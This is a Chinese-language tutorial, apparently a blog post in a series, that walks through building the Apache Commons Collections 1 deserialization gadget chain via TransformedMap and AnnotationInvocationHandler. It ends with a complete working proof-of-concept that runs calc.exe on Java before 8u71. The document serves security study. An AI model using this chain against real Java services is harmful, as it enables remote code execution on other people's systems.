给个关注?宝儿!
给个关注?宝儿!
给个关注?宝儿!
上一篇构造了一个了commons-collections的demo
【传送门】
package test.org.vulhub.Ser;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;public class CommonCollections1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"C:\\WINDOWS\\system32\\calc.exe"}),};Transformer transformerChain = newChainedTransformer(transformers);Map innerMap = new HashMap();Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);outerMap.put("test", "xxxx");}
}
了解了Transformer,接下来尝试构建poc
AnnotationInvocationHandler
这个漏洞核心,是想Map中加一个新的元素,在demo中,我们通过手工执行 outerMap.put(“test”, “xxxx”); 来出发漏洞。但是在实际反序列化中,还需要有一个雷,使他在反序列化readObject中有类似写入的操作
就是:sun.reflect.annotation.AnnotationInvocationHandler
AnnotationInvocationHandler的 readObject方法:
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject()// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null; try {annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in
annotation serial stream");
}Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue :
memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( New AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } }
}
核心逻辑:Map.Entry<String, Object> memberValue : memberValues.entrySet() 和 memberValue.setValue(…) 。
memberValues 就是反序列化后得到的Map,也是经过了TransformeMap 修饰的对象,这里遍历了他所有的元素,并以此设置值,在调用setValue设置时,会触发TransformedMap里注册的Transform ,然后继续执行我们设计的任意代码。
故在构造poc时,需要创建一个AnnotationInvocationHandler对象,并将前面构造的HashMap设置尽量
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
这里的sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,不能直接使用new来实例化。我们使用反射获取他的构造方法,并将他设置成外部可见的,在调用就可以实例化了。
AnnotationInvocationHandler类的构造函数有两个参数: Annotation类 和 前面构造的Map。
使用反射的原因:
上一篇构造了 AnnotationInvocationHandler对象, 他就是我们反序列化利用链的七点,我们通过如下代码将这个对象生成序列化流
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
在writeObject的时候出现异常: java.io.NotSerializableException: java.lang.Runtime 。
因为,java 中并非所有对象都支持序列化,待序列化的对象和所有他使用的内部属性对象,必须都实现 java.io.Serializable接口。
而我们最早传给 ConstantTransformer的事 Runtime.getRuntime(), Runtime 类是没有实现 java.io.Serializable接口,所有不允许被序列化。
那么,就需要通过反射的方式,获取当前上下文中的Runtime的对象,而不需要直接使用这个类
Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
转换成Transformer写法:
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class },new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "C:\WINDOWS\system32\calc.exe" }),
};
其实和demo最大的区别就是将 Runtime.getRuntime() 换成了 Runtime.class ,前者是一个
java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class类有实现Serializable接口,所
以可以被序列化。
为什么仍然无法触发漏洞?
修改Transformer数组后再次运行,发现这次没有报异常,而且输出了序列化后的数据流,但是反序列
化时仍然没弹出计算器,这是为什么呢?
这个实际上和AnnotationInvocationHandler类的逻辑有关,我们可以动态调试就会发现,在
AnnotationInvocationHandler:readObject 的逻辑中,有一个if语句对var7进行判断,只有在其不
是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞:
那么如何让这个var7不为null呢?这一块我就不详细分析了,还会涉及到Java注释相关的技术。直接给
出两个条件:
- sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是
Annotation的子类,且其中必须含有至少一个方法,假设方法名是X 2. 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
所以,这也解释了为什么我前面用到 Retention.class ,因为Retention有一个方法,名为value;所
以,为了再满足第二个条件,我需要给Map中放入一个Key是value的元素:
innerMap.put("value", "xxxx");
为什么Java高版本无法利用?
但是这段poc有局限性,我们的环境是java 8u71 以前的,在8u71后2015年12越时,Java
官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数:http://h
g.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d
对于这次修改,有些文章说是因为没有了setValue,其实原因和setValue关系不大。改动后,不再直接
使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。
所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执
行set或put操作,也就不会触发RCE了。
我们这一章将上一章给出的demo扩展成为了一个真实可利用的POC,完整代码如下:
package org.vulhub.Ser; import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map; public class CommonCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]
}), new InvokerTransformer("exec", new Class[] { String.class }, new String[] {
"C:\WINDOWS\system32\calc.exe" }), };Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "xxxx"); Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain); Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); }
}
但是这个Payload有一定局限性,在Java 8u71以后的版本中,由于
sun.reflect.annotation.AnnotationInvocationHandler 发生了变化导致不再可用,原因前文也说
了。
看ysoserial就没有使用这个TransformeMap,而是使用了LazyMap。
即使使用LazyMap仍然无法在高版本的Java中使用这条利用链,主要原因还是出在
sun.reflect.annotation.AnnotationInvocationHandler 这个类的修改上